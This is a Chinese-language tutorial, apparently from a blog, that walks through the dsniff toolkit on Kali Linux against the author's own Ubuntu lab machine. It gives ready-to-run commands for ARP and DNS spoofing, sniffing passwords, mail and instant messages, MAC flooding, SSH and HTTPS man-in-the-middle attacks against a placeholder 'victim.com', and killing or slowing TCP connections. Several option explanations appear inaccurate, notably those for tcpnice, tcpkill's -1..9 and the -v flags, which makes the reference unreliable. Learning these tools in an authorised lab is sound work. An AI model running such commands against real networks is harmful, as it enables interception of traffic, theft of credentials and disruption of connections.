简介
dsniff 是一个用于网络审计和渗透的工具集合 测试。 dsniff、filesnarf、mailsnarf、msgsnarf、urlsnarf 和 webspy 被动地监视网络中有趣的数据(密码、电子邮件、 文件等)。 arpspoof、dnsspoof 和 macof 有助于 拦截攻击者通常无法获得的网络流量 (例如,由于第 2 层交换)。 sshmitm 和 webmitm 实现主动 针对重定向 SSH 和 HTTPS 会话的中间猴子攻击 通过利用临时 PKI 中的弱绑定。
该软件包包含几个用于侦听和创建网络流量的工具:
- arpspoof - 发送未经请求的(并且可能是伪造的)arp 回复。
- dnsspoof - 伪造对任意 DNS 地址/指针查询的回复 在局域网上。
- dsniff - 适用于多种协议的密码嗅探器。
- filesnarf - 保存从 NFS 流量中嗅探到的选定文件。
- macof - 使用随机 MAC 地址淹没本地网络。
- mailsnarf - 嗅探 LAN 上的邮件并将其存储为 mbox 格式。
- msgsnarf - 记录来自不同即时消息的选定消息。
- sshmitm - SSH 中间猴子。代理和嗅探 SSH 流量。
- sshow - SSH 流量分析器。
- tcpkill - 终止指定的正在进行的 TCP 连接。
- tcpnice - 通过“active”减慢指定的 TCP 连接 流量整形。
- urlsnarf - 输出从 CLF 中的 HTTP 流量中嗅探到的选定 URL。
- webmitm - HTTP / HTTPS 中间猴子。透明代理。
- webspy - 将从客户端嗅探到的 URL 发送到本地浏览器 (需要安装 libx11-6)。
请不要滥用该软件。
安装
在 Kali Linux 中,arpspoof 通常已预装。如果没有安装,可以使用以下命令:
sudo apt update
sudo apt install dsniff
使用
输入以下命令,如果出现以下画面就说明安装成功了。
dsniff -V
输入ifconfig可以查看我当前kali linux的ip地址,我的网卡名称是eth0。
我当前的网关是:192.168.174.2
我再开启了一个ubuntu靶机,查看ubuntu的ip地址。
1. arpspoof
发送伪造的 ARP 响应包,进行 ARP 欺骗。
-i interface:指定网卡接口。如果不指定,arpspoof 默认选择第一个有效接口。
-c own|host|both:
设置 arpspoof 的行为方式:
- own:只发送伪造的回复,宣称本机为目标主机的网关。
- host:只发送伪造的回复,宣称网关为目标主机。
- both:同时发送两种伪造回复。
-t target:指定攻击目标的 IP 地址。
-r:启用双向路由攻击(即 "remote" 模式),让伪造的 ARP 包反向传播,使网关也相信攻击机是目标主机。
示例:欺骗目标主机
将Ubuntu的 MAC 地址伪装为网关 IP 的 MAC 地址:
#arpspoof -i 你的网卡名称 -t 攻击目标的IP地址 攻击目标的网关地址
sudo arpspoof -i eth0 -t 192.168.174.145 192.168.174.2
按下回车如果出现下图回显就说明正在攻击。
现在我的ubuntu虽然可以上网但是速度慢的出奇,几分钟都打不开一个网页图片这就说明我们的ARP成功了。
原理:用户服务物联网需要通过路由器的网关,这个时候给受害者发送arp报文,伪装上网的网关,受害者则认为kali攻击机的MAC地址是正常上网的Mac地址,则受害者给kali发送报文。kali可以在进行处理(转发/拦截)
欺骗网关的 ARP 表,使其认为攻击者是目标主机
sudo arpspoof -i eth0 -t 192.168.174.2 192.168.174.145
双向攻击
伪造双方(目标与网关)的 ARP 缓存,实现完整的中间人攻击:
sudo arpspoof -i eth0 -r -t 192.168.174.145 192.168.174.2
带行为控制的攻击
只让攻击机冒充网关而不影响其他通信:
sudo arpspoof -i eth0 -c own -t 192.168.174.145 192.168.174.2
2. dnsspoof
伪造 DNS 查询响应,重定向目标流量。
示例:将目标访问的域名重定向到攻击者 IP
编辑一个域名伪造列表 hosts.txt(格式为 <目标IP> <域名>):
sudo dnsspoof -i eth0 -f hosts.txt
之后我们在ubuntu上通过浏览器去打开qq.com就可以在kali上监听到反弹了。
3. dsniff
嗅探网络中的明文协议密码,如 HTTP、FTP、TELNET 等。
示例:监听网络上的密码流量
sudo dsniff -i eth0
-c:清理和忽略任何缓存的名称解析信息。
清除缓存并在 eth0 接口上进行嗅探。
dsniff -c -i eth0
-d:启用调试模式,显示更多详细的运行信息。
在调试模式下运行,并指定无线网卡 wlan0。
dsniff -d -i wlan0
-m:启用邮件记录(即监听捕获邮件流量)。
在接口 eth0 上嗅探并记录邮件流量。
dsniff -m -i eth0
-n:禁用 DNS 名称解析(避免解析主机名)。
在接口 eth0 上嗅探时不解析主机名。
dsniff -n -i eth0
-i interface:指定嗅探的网络接口。
仅在网卡 eth0 上监听流量。
dsniff -i eth0
-p pcapfile:从已捕获的 pcap 文件中读取数据,而不是实时嗅探网络流量。
从文件 capture.pcap 中解析数据。
dsniff -p capture.pcap
-s snaplen:指定捕获的数据包的最大大小(默认为 1024 字节)。
在接口 eth0 上捕获每个数据包的前 2048 字节。
dsniff -s 2048 -i eth0
-f services:指定自定义的服务过滤文件,定义哪些服务流量需要嗅探。
使用 myservices.txt 定义的服务列表,在接口 eth0 上嗅探。
dsniff -f myservices.txt -i eth0
-t trigger[,...]:设置触发器,当满足触发条件时才开始嗅探。
仅当有 HTTP 或 SMTP 流量时触发嗅探。
dsniff -t "HTTP,SMTP" -i eth0
-r savefile:从保存的嗅探文件中读取并解析流量。
从文件 traffic.dump 中读取数据进行分析。
dsniff -r traffic.dump
-w savefile:将嗅探到的流量保存到指定文件中。
将接口 eth0 的嗅探流量保存到 traffic.dump 文件中。
dsniff -w traffic.dump -i eth0
expression:指定 BPF 表达式过滤流量。
在接口 eth0 上仅嗅探 HTTP 流量。
dsniff -i eth0 "port 80"
4. filesnarf
从 NFS(网络文件系统)流量中捕获并保存文件。
示例:保存 NFS 流量中的文件
filesnarf -i eth0 -v
-i interface:指定用于嗅探的网络接口。
在 eth0 网卡上监听文件传输流量。
filesnarf -i eth0
-p pcapfile:从已捕获的 pcap 文件中读取并分析文件传输流量。
从文件 captured.pcap 中提取文件流量。
filesnarf -p captured.pcap
pattern:指定一个文件名或路径模式,仅嗅探匹配的文件流量。
在无线网卡 wlan0 上仅嗅探 .docx 文件的传输流量。
filesnarf -i wlan0 "*.docx"
expression:提供 BPF 表达式过滤流量,进一步限制嗅探范围。
在 eth0 接口上嗅探通过 FTP(端口 21)传输的 .pdf 文件。
filesnarf -i eth0 "*.pdf" "port 21"
-v:启用详细模式(verbose),打印更多嗅探信息。
以详细模式显示 eth0 上捕获的所有文件流量。
filesnarf -i eth0 -v
5. macof
向网络发送大量随机的 MAC 地址,造成交换机的 MAC 地址表溢出,进而使交换机转发流量到所有端口。
示例:触发 MAC 地址表溢出
macof -i eth0
-s src:指定伪造数据包的源 IP 地址。
发送数据包时,将源 IP 地址设置为 192.168.1.100。
macof -s 192.168.1.100
-d dst:指定伪造数据包的目标 IP 地址。
发送数据包时,将目标 IP 地址设置为 192.168.174.145。
macof -d 192.168.174.145
-e tha:指定伪造数据包的目标 MAC 地址(Target Hardware Address)。
将目标 MAC 地址设置为 00:11:22:33:44:55。
macof -e 00:11:22:33:44:55
-x sport:指定伪造数据包的源端口号。
将源端口号设置为 12345。
macof -x 12345
-y dport:指定伪造数据包的目标端口号。
将目标端口号设置为 80。
macof -y 80
-i interface:指定用于发送伪造数据包的网络接口。
在网络接口 eth0 上发送伪造流量。
macof -i eth0
-n times:指定发送数据包的数量(默认持续发送)。
发送 1000 个伪造的数据包。
macof -n 1000
6. mailsnarf
捕获并保存通过 SMTP、POP3 或 IMAP 协议传输的邮件。
示例:监听并保存邮件
mailsnarf -i eth0 -v
-i interface:指定网络接口,用于实时嗅探邮件流量。
在网络接口 eth0 上嗅探邮件流量。
mailsnarf -i eth0
-p pcapfile:指定 .pcap 文件,从捕获的网络流量文件中提取邮件。
从文件 captured_traffic.pcap 中提取邮件内容。
mailsnarf -p captured_traffic.pcap
-v:启用匹配模式(verbose),根据指定的 pattern(模式)过滤邮件内容。
在接口 eth0 上捕获的邮件流量中,仅显示包含 "password" 的内容。
mailsnarf -i eth0 -v "password"
pattern:指定一个正则表达式,仅提取匹配此模式的邮件内容。
在接口 wlan0 上嗅探邮件流量,并提取包含 "username=" 的邮件内容。
mailsnarf -i wlan0 "username=.*"
expression:使用 BPF(Berkeley Packet Filter)表达式过滤嗅探的流量,仅捕获与该表达式匹配的数据包。
嗅探接口 eth0 上通过 SMTP 协议(端口 25)的邮件流量。
mailsnarf -i eth0 "port 25"
7. msgsnarf
记录通过即时通讯软件(如 AIM、ICQ、MSN 等)传输的消息。
示例:记录即时通讯消息
msgsnarf -i eth0
-i interface:指定网络接口,用于实时嗅探即时消息流量。
在网络接口 eth0 上捕获即时消息流量。
msgsnarf -i eth0
-p pcapfile:指定 .pcap 文件,从捕获的网络流量文件中提取即时消息内容。
从 captured_traffic.pcap 文件中提取即时消息内容。
msgsnarf -p captured_traffic.pcap
-v:启用匹配模式(verbose),根据指定的 pattern(模式)过滤即时消息内容。
在接口 wlan0 上嗅探即时消息流量,仅提取内容中包含 "password" 的信息。
msgsnarf -i wlan0 -v "password"
pattern:指定一个正则表达式,仅提取匹配此模式的即时消息内容。
在接口 eth0 上捕获的即时消息中,提取包含 "username=" 的信息。
msgsnarf -i eth0 "username=.*"
expression:使用 BPF(Berkeley Packet Filter)表达式过滤嗅探的流量,仅捕获与该表达式匹配的数据包。
嗅探接口 eth0 上通过 XMPP(端口 5222)协议传输的即时消息。
msgsnarf -i eth0 "port 5222"
8. sshmitm
中间人攻击工具,可代理并嗅探 SSH 流量。
示例:代理 SSH 流量
启动一个代理,监听 2222 端口,将流量转发到实际的目标 IP:
sshmitm -I eth0 -p 2222
-d:启用调试模式,输出详细日志信息以便排查问题。
在调试模式下对目标 victim.com 发起中间人攻击,记录详细信息。
sshmitm -d victim.com
-I:启用交互式模式,允许在会话中动态注入或拦截命令。
以交互模式拦截与目标 victim.com 的 SSH 会话,允许动态操控传输的数据。
sshmitm -I victim.com
-p port:指定中间人服务器监听的端口(默认为 22)。
在本地端口 2222 上监听 SSH 连接并对目标 victim.com 发起中间人攻击。
sshmitm -p 2222 victim.com
host:目标主机的域名或 IP 地址(受害者连接的目标)。
对目标主机 victim.com 发起 SSH 中间人攻击。
sshmitm victim.com
port:目标主机的 SSH 服务端口(默认为 22)。
对目标主机 victim.com 的 SSH 服务(运行在端口 2222)发起中间人攻击。
sshmitm victim.com 2222
9. sshow
分析捕获的 SSH 流量。
示例:分析 SSH 会话
sshow dump.pcap
-d:显示详细的会话信息,包括所有的协议层、会话数据和更深入的分析信息。
在 eth0 网络接口上捕获的数据包中显示详细的会话信息。
sshow -d -i eth0
-i interface:指定要监听的网络接口(例如:eth0, wlan0)。这使得 sshow 能够实时捕获该接口上的数据包。
实时监听 wlan0 网络接口上的流量,分析并显示会话信息。
sshow -i wlan0
-p pcapfile:指定一个 .pcap 文件,sshow 将从该文件读取并分析数据包,而不是从网络接口实时捕获。
从 captured_traffic.pcap 文件中分析并显示会话信息。
sshow -p captured_traffic.pcap
10. tcpkill
终止指定的 TCP 连接。
示例:强制中断某连接
中断目标主机 192.168.174.145 和服务器 192.168.174.2 的 TCP 通信:
tcpkill -i eth0 host 192.168.174.145 and host 192.168.174.2
-i interface:指定要监听的网络接口(例如:eth0、wlan0)。此选项让 tcpkill 在指定的接口上捕获数据包并终止相关的 TCP 会话。
在 eth0 接口上捕获并终止所有匹配的 TCP 会话。
tcpkill -i eth0
-1..9:用于指定 TCP 会话的优先级(1 到 9)。这个数字会影响终止会话的强度,数字越大,干扰的力度越强。
在 eth0 接口上捕获数据包,并以优先级 9(最高强度)终止所有匹配的 TCP 会话。
tcpkill -i eth0 -9
expression:用于指定过滤条件(例如:源 IP 地址、目标 IP 地址、端口等)。只会终止与此表达式匹配的 TCP 会话。
捕获 eth0 接口上的所有数据包,并终止与目标 IP 地址 192.168.1.100 和端口 80(HTTP)的 TCP 会话。
tcpkill -i eth0 'host 192.168.1.100 and port 80'
11. tcpnice
通过调整 TCP 数据包的标志位,降低指定 TCP 连接的传输速度。
示例:减慢目标连接速度
减缓目标主机与服务器之间的通信速度:
tcpnice -i eth0 host 192.168.174.145 and host 192.168.174.2
-A:启用自动模式,tcpnice 会自动调整会话优先级。
在与 192.168.174.145 的 80 端口的连接上,启用自动优先级调整。
tcpnice -A 'host 192.168.174.145 and port 80'
-I:启用“增加”模式,增加网络连接的延迟,从而降低该连接的优先级。
在与 192.168.174.145 的 443 端口的连接上,启用增加延迟模式,降低该连接的优先级。
tcpnice -I 'host 192.168.174.145 and port 443'
-M:启用“最大延迟”模式,即尽可能地增加连接的延迟。
在与 192.168.174.145 的 22 端口的连接上,启用最大延迟模式,极大地降低该连接的优先级。
tcpnice -M 'host 192.168.174.145 and port 22'
-i interface:指定要监听的网络接口,例如 eth0 或 wlan0,此选项用于确定要在哪个网络接口上进行操作。
在 eth0 接口上捕获数据包,并调整与 192.168.174.145 的 80 端口的连接的优先级。
tcpnice -i eth0 'host 192.168.174.145 and port 80'
expression:用于指定过滤条件,可以根据 IP 地址、端口号等进行筛选。
在 eth0 接口上调整与 192.168.174.145 的 80 端口的连接优先级。
tcpnice -i eth0 'host 192.168.174.145 and port 80'
12. urlsnarf
从 HTTP 流量中提取访问的 URL。
示例:输出访问过的 URL
urlsnarf -i eth0
-n:禁止 DNS 解析,只显示 IP 地址而不是主机名。
在 eth0 网络接口上抓取 HTTP 请求,并且禁止 DNS 解析,显示 IP 地址而不是主机名。
urlsnarf -n -i eth0
-i interface:指定要监听的网络接口,通常是网络适配器的名称,如 eth0 或 wlan0。
在 eth0 接口上抓取 HTTP 请求中的 URL 地址。
urlsnarf -i eth0
-p pcapfile:指定一个 .pcap 文件进行分析,捕获的网络流量会存储在此文件中。
分析 capture.pcap 文件中的 HTTP 流量,并从中提取 URL 地址。
urlsnarf -p capture.pcap
-v:启用详细模式,显示更多的信息。
在 eth0 接口上抓取 HTTP 请求,并启用详细模式,显示更多信息(如请求头、用户代理等)。
urlsnarf -v -i eth0
pattern:指定一个正则表达式,用于过滤 URL 请求。只有匹配该正则表达式的 URL 会被显示。
在 eth0 接口上抓取 HTTP 请求,并且只显示包含 example.com 的 URL 地址。
urlsnarf -i eth0 -v "example.com"
expression:用于过滤捕获数据包的表达式,可以是网络协议(如 host、port 等)或其他条件。
仅抓取来自 example.com 主机的 HTTP 请求。
urlsnarf -i eth0 "host example.com"
13. webmitm
对 HTTP/HTTPS 流量执行中间人攻击。
-d:启用调试模式,显示更多的调试信息。
启用调试模式,并对 example.com 执行中间人攻击,显示调试信息。
webmitm -d example.com
host:指定要拦截的目标主机的地址。这个参数是必须的。你需要指定一个目标主机来进行 HTTP 中间人攻击。
对 example.com 执行 HTTP 中间人攻击,拦截该网站的请求与响应。
webmitm example.com
14. webspy
嗅探网络中的 HTTP 流量,并将捕获到的 URL 在本地浏览器中实时显示。
示例:实时显示目标访问的网页
webspy -i eth0 192.168.174.145
-i interface:指定要监听的网络接口。
在网络接口 eth0 上监听并捕获与 example.com 相关的 HTTP 流量。
webspy -i eth0 example.com
-p pcapfile:指定一个已有的 pcap 文件,用于读取捕获的网络数据包。
从名为 capture.pcap 的文件中读取 HTTP 流量,过滤出与 example.com 相关的内容。
webspy -p capture.pcap example.com
host:指定要监控的目标主机(域名或 IP 地址)。
监控与 example.com 相关的所有 HTTP 流量。
webspy example.com
总结
通过对 dsniff 工具的了解,我们不仅可以深入理解常见网络攻击的技术细节,也能更好地准备防御措施,例如实施网络加密、定期检查网络流量、加强网络设备的安全配置等。
总之,dsniff 是一个功能强大且具有潜在风险的工具,只有在合法与道德的框架内,才能发挥其正当的测试与防御作用。
在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。
欢迎各位大佬,小白来找我交流。